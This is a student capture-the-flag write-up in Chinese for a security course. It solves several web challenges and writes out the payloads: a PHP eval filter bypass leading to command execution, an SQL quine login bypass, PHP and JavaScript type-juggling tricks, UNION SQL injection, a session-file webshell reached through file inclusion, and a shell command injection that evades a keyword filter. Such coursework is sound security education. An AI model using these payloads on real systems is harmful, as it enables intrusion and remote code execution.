---
# System prepended metadata

title: HW5
tags: [資訊安全實務]

---

---
tags: 資訊安全實務
---
# HW5
## (#°д°)
這題有點不知道該怎麼說...，首先是PHP中字串是可以利用計算來算出來的，但我們利用get輸入的字串再放到eval的話就會變成字串中的字串運算不瞭，所以還需要能夠動態運算？的方法，題目中的長度限制32又不能夠輸入數字英文的情況下，實在是有點嚴苛，後來在注意到php的function可以動態執行後我算是有了方向
* 要構造出在eval裡面能夠再輸入變數的地方，像是
    * `$_GET[a]($_GET[b])`
    * php中能夠利用"system"("ls")這樣來執行function
* 配合php使用${...}時會去執行括號裡面的運算等等就能夠構造出這樣的payload

有了方向後一開始我是用互斥或來運算出字串，構造出`${"!:;/"^"~}~{"}[_]`這樣的字串，這樣就能達成`$_GET[_]`然後我們就能夠跳脫他所寫的正規表達式及長度限制，但當我想用這樣的方法構造出`$_GET[_]($_GET[__])`時卻因為長度超過了32因此無法實現，後來我發現php還有取反這一回事，比起利用互斥或1個字需要2個字來去運算，取反只要在數字前面加上~便能夠完成，明顯能夠讓長度減少，所以我就分別找出`_GET`四個字在16進制下的not來去構造出相同的payload，4個字分別為
* ~"%A0%B8%BA%AB" --> _GET

最後在URL上的輸入為：
* `?(%23°д°)=${~"%A0%B8%BA%AB"}[_](${~"%A0%B8%BA%AB"}[__]);&_=system&__=your command`
* 在eval中就會變成`eval("$_GET[_]($_GET[__]);")`

這樣就能夠輸入任意指令了，所後拿到的FLAG為
```
FLAG{peeHpeeeeee(#°д°)!}
```
## vb2077
### 2020-11-24
...這題我真的沒有啥頭緒，是要union出一個跟union一樣的內容來成功登入嗎??
好奇解答QQQ
### 2020-11-25

2020年11月25號的這一天，我想起來了1年級程式設計曾經考過一題是c的自我print，但是我實在是不知道這東西到底要怎麼在SQL上實現，鬼才知道，於是乎我就向同學詢問了之後他給了我一個關鍵字**quine**，????那是啥鬼，wiki了一下才發現那是自產生程式，草那我就在google了**SQL quine**我就找到了以下的code
```python
def quine(data, debug=True):
    if debug: print data
    data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
    blob = data.replace('$$','"$"').replace("'",'"')
    data = data.replace('$$',"'"+blob+"'")
    if debug: print data
    return data
```
這就是生成器嗎(#°д°)，在看了一下大概怎麼使用後，我就執行了以下的code
* `quine("' UNION SELECT 'admin' AS username, $$ AS password --")`

把生成的query丟到密碼那一欄，username打上admin後就成功符合`if res != None and res['username'] == username and res['password'] == password`，就成功登入啦!!!

那麼下一步就是要想辦法拿到flag，初步看了一下拿到flag的條件為session['is_admin']為true，但很遺憾的是在我們訪問這個網頁的同時session就被寫為false了，而且因為session有簽章的部分所以無法偽造，那麼問題就來了，他FLAG是放在一個名為flag的class裡面的flag變數，再仔細看一下return的語句```return ("<h1>Hello, " + username + " ｡:.ﾟヽ(*´∀`)ﾉﾟ.:｡ </h1> Here is your flag: {flag} ").format(flag=flag)```，如果直接讓flag這個class輸出的話她會呼叫__str__這個東西，那如果我在username的地方變成`"{flag.flag}"`，因為後面的format(flag=flag)所以會讓第一個flag變成class flag，那後面的.flag就會變成去取他class裡面的flag變數，所以我們需要改變一下我剛剛構造的query：
* `quine("' UNION SELECT '{flag.flag}' AS username, $$ AS password --")`

這樣再登入的時候就會在username的地方把flag給輸出，就能成功拿到flag了
FLAG
```
FLAG{qu1n3_sq1_1nj3ct10nnn.__init__}
```

最後我實在要講一下，這個反人類的query怎麼會有人想的到啊...，用tool應該不會被扣分吧QQ

---
# LAB5

## guess
首先先上這題的核心code，這題是php的code
```php
if (!empty($guess) && $guess == $ANSWER) {
    echo "<p>Correct!</p>";
    if (md5($token1) == sha1($token2)) echo FLAG;
```
只要讓這個兩if成功成立就能拿到flag，這實在太簡單了，第一個只要讓guess跟ANSWER相等就過了ｗｗｗ，第二個則是要讓兩個不同方法的hash後的內容相等，但是根據投影片上
* md5([]) = NULL
* sha1([]) = NULL

也就是說我只要讓token1跟token2等於一個空的陣列就能過這個判斷，所以最後的payload如下
* ?guess=1&ANSWER=1&token1[]=""&token2[]=""

FLAG
```
FLAG{php_1s_s0_we1rd}
```

## shark
AAAA這題是使用js寫的code，核心code如下
```
const command = reqest.query.command;
if (command && command.indexOf("shark") == -1 && command.length < 3 && 
    command == "Baby shark, doo doo doo doo doo doo")
    response.send(SECRET);
```

也就是說要讓command不包含shark並且長度小於3但又要最後的結果為Baby shark, doo doo doo doo doo doo，然而這一切在js下並使用兩個=的情況下並沒有用，我知道讓command變成陣列的時候能直接讓過前兩個判斷，並且在跟字串最比對的時候他會把陣列變成字串，那答案就很明顯了
* ?command[]=Baby shark, doo doo doo doo doo doo

FLAG
```
FLAG{WTFFF_JSSSS}
```

## meow
這題在我們輸入`?id=-1 union select 1,2,3`後發現能夠做SQL injection後...，只要慢慢找出db，table跟column的name就好了，由於這三個打起來有點長我這邊就不再貼上了，投影片上都有，直接上搜尋到的結果
* db name為catdb
* table name為flag
* column name為the_flag

最後輸入?id=-1 union select 1,2, the_flag from flag where id=1便能找出flag

FLAG
```
FLAG{m30w_m30wm30w}
```

## 複製文產生器
這題在隨便選了一個模板後他網址顯示的會是`https://copygen.splitline.tw/?tpl=template/8sir.php`，看到tql=...後或許就能夠嘗試`php://filter/convert.base64-encode/resource=index.php`這種方法來拿到source code，果不其然拿到之後在裡面找到了
* $FLAG_1 = "FLAG{c0py_th15"; // RCE to capture flag2

也就是說第二步我們要想辦法RCE，在source code裡面又能看到一個code`username = htmlentities($_SESSION['username'])`，這就代表我們登入後看到的username其實是寫在_SESSION['username']裡面...，那我們只要在登入時注入webshell的code再去訪問session的話就能夠成功RCE，因phpinfo裡的save path沒有設，所以預設是存在/tmp/sess_{sessionid}，讓username設成`<?php system(_GET['a']);?>`，並且成功訪問到`https://copygen.splitline.tw/?tpl=/tmp/sess_{session_id}`的地方後只要在後面加上&a=ls之類的就能夠成功RCE了，最後得到的FLAG2為
* _fl4g_4nd_subm1t}

因此最後FLAG為
`FLAG{c0py_th15_fl4g_4nd_subm1t}`

最後提一下我原本好奇為什麼看code的部分不直接輸入`https://copygen.splitline.tw/?tpl=/var/www/html/index.php`，結果輸入了之後發現看到的是redener後的東西我就了解了...


## base32 command injection
這題題目讓我們能輸入的點是
`/bin/bash -c 'base32 --decode <<< "' + input + '"`
並且題目又多了一個addslash去讓我們無法輸入"來去閉合這個指令，但是我發現一件是，就是linux上好像沒有\'這個東西，於是我就嘗試在我的cmd裡面輸入了`/bin/bash -c 'base32 --decode <<< "''`這樣的指令，就發現他噴錯了，指令執行失敗但cmd裡面有邏輯運算，在or的邏輯運算下若前面的指令執行失敗就會去執行or後面的指令，也就是說我現在能夠讓她前面的base32執行失敗，再用｜來接上我們想要的指令就能成功RCE了，字串後面還有'"這個必須解決，cmd裡可以用#來當作註解，因此payload會像這樣`*?string='| ls #`。

但URL裡#代表fragment，所以必須先encode為%23，所以最後在URL上的輸入：
* `?string=' | c$1at /fla* %23`
* cmd看到的是`' | cat /fla* #`

那麼再來說說為什麼會用c$1at不直接cat呢，因為他code裡把cat視為禁字，但cmd裡又有變數能用，平常沒assign時他會是空的，所以利用這個變數來繞過php的檢查，最後成功拿到flag

FLAG
```
FLAG{b64d(Y29tbWFuZF8xbmozY3QxMG4h)}
```